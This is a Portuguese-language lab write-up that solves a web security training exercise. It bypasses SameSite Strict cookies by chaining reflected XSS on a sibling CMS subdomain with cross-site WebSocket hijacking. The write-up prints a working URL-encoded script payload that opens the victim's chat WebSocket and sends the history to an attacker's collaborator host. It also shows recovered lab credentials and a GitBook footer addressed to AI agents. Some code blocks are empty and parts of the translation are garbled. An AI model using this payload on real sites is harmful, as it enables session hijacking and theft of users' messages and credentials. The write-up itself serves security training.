> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/csrf/samesite-strict-bypass-via-sibling-domain.md).
# Bypass do SameSite Strict via Domínio Irmão
### Bypass de SameSite Strict via domínio irmão
Laboratório: a funcionalidade de chat ao vivo é vulnerável a sequestro de WebSocket entre sites (CSWSH). O objetivo do laboratório é acessar a conta da vítima extraindo o histórico do chat para o servidor Burp Collaborator padrão; o histórico contém credenciais em texto claro.
Use o servidor de exploração fornecido para lançar um ataque CSWSH que exfiltre o histórico do gato da vítima.
O chat funciona via WebSocket e o histórico passa por ele.
O cookie de sessão é enviado com SameSite (bloqueando cenários convencionais de redirecionamento cross-site).
O arquivo cliente do JavaScript (por exemplo, `chat.js`) é carregado de um subdomínio do CMS que retorna um `Access-Control-Allow-Origin` cabeçalho que permite interação a partir desse subdomínio.
O painel de autenticação do CMS é vulnerável a injeção de script via o `nome de usuário` parâmetro (por exemplo, `?username=&password=test`).
```javascript
```
```
/login?username=&password=test
```
Usando essa injeção, você pode executar JavaScript no contexto do subdomínio vulnerável, estabelecendo assim um WebSocket autenticado (os cookies são então enviados, já que a origem é a mesma) para o servidor de chat.
### Abordagem (resumo)
1. Coloque um script malicioso no `nome de usuário` parâmetro do formulário de login do subdomínio do CMS.
2. Este script abre uma conexão WebSocket com o servidor de chat e envia um `READY` sinal.
{% code overflow="wrap" %}
```javascript
```
{% endcode %}
3. Ao receber mensagens do WebSocket (histórico do chat), o `fetch` script codifica esses dados (base64) para um servidor controlado pelo atacante (OAST/Oastify).
```bash
/?data=eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9
```
Hospede/serve um redirecionamento no servidor de exploração para levar a vítima a visitar a URL vulnerável (login com `nome de usuário` contendo o script).
```bash
echo "eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9" | base64 -d
```
#### Resultados observados
* Quando a query exfiltrada foi recebida, o `dados` parâmetro continha uma string64 base; Ao decodificá-la obtemos a entrada do gato.
* Exemplo de payload recebido (decodificado em base64):
```json
{"user":"CONNECTED","content":"-- Now chatting with Hal Pline --"}
```
Ao injetar a partir do contexto autenticado (subdomínio do CMS), o script transmitiu mensagens contendo conversas do usuário e, neste caso, uma mensagem contendo as credenciais em texto claro.
{% code overflow="wrap" %}
```
https://cms-0a5900a203763a50c2810c7a0074009d.web-security-academy.net/login?username=%3Cscript%3E+++var+ws+%3D+new+WebSocket%28%22https%3A%2F%2F0a5900a203763a50c2810c7a0074009d.web-security-academy.net%2Fchat%22%29%3B++++ws.onopen+%3D+function%28%29+%7B+++++ws.send%28%22READY%22%29%3B+++%7D%3B++++ws.onmessage+%3D+function%28info%29+%7B+++++fetch%28%22https%3A%2F%2F68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com%2F%3Fdata%3D%22+%2B+btoa%28info.data%29%29%3B+++%7D%3B+%3C%2Fscript%3E&password=ef
```
{% endcode %}
{% code overflow="wrap" %}
```javascript
```
{% endcode %}
#### Credenciais extraídas (conforme observado)
* `carlos:hdf3fkk8h7tnltupqs5t` (credenciais encontradas no histórico do chat)
{% code overflow="wrap" %}
```json
{"user":"Hal Pline","content":"No problem carlos, it's hdf3fkk8h7tnltupqs5t"}
```
{% endcode %}
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/pt-br/web/csrf/samesite-strict-bypass-via-sibling-domain.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.